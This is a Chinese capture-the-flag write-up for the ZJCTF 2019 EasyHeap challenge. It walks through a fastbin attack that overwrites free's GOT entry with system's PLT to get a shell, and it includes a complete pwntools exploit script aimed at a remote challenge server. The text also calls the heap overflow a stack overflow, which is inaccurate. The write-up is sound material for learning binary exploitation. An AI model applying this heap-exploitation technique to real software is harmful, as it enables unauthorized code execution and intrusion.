fastbin_attack例题
题目:[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[ZJCTF 2019]EasyHeap)
- 整体思路:利用编辑时edit_heap函数的栈溢出漏洞,覆盖heaparray中的栈指针指向free的got表,将其改为system的plt表,从而劫持free函数,并且再向heaparray的另外一个指针指向的堆空间上写入字符串 /bin/sh/x00 ,再free掉该堆空间,就能变向执行system(“/bin/sh”)
解题:
-
题目中delete_heap函数在释放时将heaparray数组上的指针清0了,所以无法利用UAF:
-
但是在edit_heap函数中存在栈溢出漏洞,可以利用栈溢出覆盖fd伪造heap,再覆盖heaparray劫持free的got表(修改为system的plt表):
利用:
-
在heaparray前面找一个空间来伪造堆(后续要利用它覆盖掉heaparray数组里面的指针),这个伪造的堆上size值要与实际分配的大小(包含chunk头大小)相同(与size相差0x11):
在0x00000000006020E0-0x33处刚好有一个空间中存储着0x7f,可以将地址0x6020ad作为伪造堆,那么0x7f就是size字段的值了,只要我们申请的空间为 0x7f-0x11=0x68 就能在释放后再次申请到该空间作为堆。
先申请三个堆,大小为0x68(实际分配的大小为0x7f),再释放掉heap2,利用heap2进行fastbin attack,实行任意地址申请堆(刚才找到的伪造堆)
add(0x68,b'6')#0 用于写free的got为system add(0x68,b'6')#1 用于存放binsh和覆盖2 add(0x68,b'6')#2 用于构造fastbin attack,写heap0指针为free的got表 free(2) #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址
编辑heap1.覆盖掉heap2的fd指针,并传参**“/bin/sh”** ,b’\x00’*0x60用来填充,p64(0x71)用来绕过size字段,p64(0x6020ad)就是修改的heap2的fd指针:
edit(1,b'/bin/sh\x00'+b'\x00'*0x60+p64(0x71)+p64(0x6020ad)) #在heap1写binsh,0x6020ad是刚才定位到的fake heap
下面将heap2申请回来,再多申请一次就能得到我们前面伪造的堆0x6020ad,利用伪造的堆(heap3)进行堆溢出,覆盖掉heaparray上的heap0指针,指向free的got表:
add(0x68,b'6')#把2恢复回来 add(0x68,b'6')#创建fake heap,实际上是heap指针数组前面0x33 edit(3,b'\x00'*0x23+p64(elf.got['free'])) #覆盖heap0为free的got表0x602018
覆盖前:
覆盖后,成功将heaparry[0]覆盖为free的got表:
后面直接编辑heap0,就能将free的got表上的值,修改为system的plt。之所以不直接覆盖为system的got表是因为函数调用的过程,如果之前调用过一次,那么后续会直接用got表上的值作为函数的确切地址,rip直接跳转到该处来执行指令,所以要先去到system的plt位置执行指令(第一次调用system函数),直接用got表逻辑上说不通因为got表的位置根本不是指令(会报错):
edit(0,p64(elf.plt['system']))#此时heap0的指针已经被修改指向了free的got表0x602018,
劫持free的got表之前:
劫持free的got表之之后:
后面只要free掉heap1即可调用system(“/bin/sh”),因为heaparray[1]处的指针指向了 “/bin/sh” 字符串(前面覆盖的):
free(1)#执行system(原来是free),heap1指向的位置已经被写'/bin/sh'字符串
成功劫持到free函数,来执行 system(“/bin/sh”) 。
完整EXP:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
# p = process('./pwn')
p = remote("node5.buuoj.cn",29165)
elf = ELF('./pwn')
# libc = ELF('./libc.so.6')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size,content):
sla(':','1')
sla(':',str(size))
sla(':',content)
def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content)
def free(idx):
sla(':','3')
sla(':',str(idx))
add(0x68,b'6')#0 用于写free的got为system
add(0x68,b'6')#1 用于存放binsh和覆盖2
add(0x68,b'6')#2 用于构造fastbin attack,写heap0指针为free的got表
free(2) #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址
edit(1,b'/bin/sh\x00'+b'\x00'*0x60+p64(0x71)+p64(0x6020ad))
#在heap1写binsh,0x6020ad是刚才定位到的fake heap
add(0x68,b'6')#把2恢复回来
add(0x68,b'6')#创建fake heap,实际上是heap指针数组前面0x33
edit(3,b'\x00'*0x23+p64(elf.got['free'])) #覆盖heap0为free的got表0x602018
edit(0,p64(elf.plt['system']))#此时heap0的指针已经被修改指向了free的got表0x602018,
# 直接往上面写数据协商system的plt表即可完成劫持,覆盖free的got为system的plt
free(1)#执行system(原来是free),heap1指向的位置已经被写'/bin/sh'字符串
ia()